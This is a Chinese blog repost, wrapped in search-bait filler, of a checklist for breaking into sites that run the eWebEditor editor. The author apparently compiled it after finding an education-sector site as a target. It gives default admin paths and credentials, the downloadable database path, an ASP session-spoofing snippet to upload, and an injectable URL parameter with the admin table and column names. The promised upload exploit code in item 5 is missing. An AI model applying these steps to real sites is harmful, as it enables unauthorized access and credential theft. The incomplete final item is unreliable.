ewebeditor漏洞?ewebeditor漏洞清单?ewebeditor编辑器?耗费20分钟整理eWebEditor

你是否正在寻找关于ewebeditor漏洞的内容？让我把最内涵的东西奉献给你：

今天 碰到一个EDU的XX站。随便找了瞅了下 发现时EW编辑器。于是开始翻找自己以前整理的思路。最终耗费20分钟整理了一下。想了想自己也有了博客贴出来方便以后自己使用，。

1、

默认登陆admin_login.asp

默认db/ewebeditor.mdb

默认帐号admin 密码admin或admin888

登陆 默认密码是最简单 也是成功最快的。

2、

默认下载查找密码CMD5解密

一般默认是db/ewebeditor.mdb有时候可能修改成 asp 或者是asa

进后台 不说了 自己添加样式上传搞定

3、

session欺骗漏洞

保存为asp格式上传到网站

<%Session("eWebEditor_User") = "11111111"%>

然后访问网页 再来访问Admin_Default.asp

方法比较鸡肋

4、

2.7以下的版本注入

eWebEditor.asp?id=14&style=standard

?id=14&style=standard

eweb默认的管理员表是：ewebeditor_system

这个表下的默认两个列名为:sys_UserName和sys_userpass

5、

asp版 2.1.6 上传漏洞利用代码如下

以上就是关于ewebeditor漏洞的全部内容，相信你一定会非常满意。

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-13660-1.html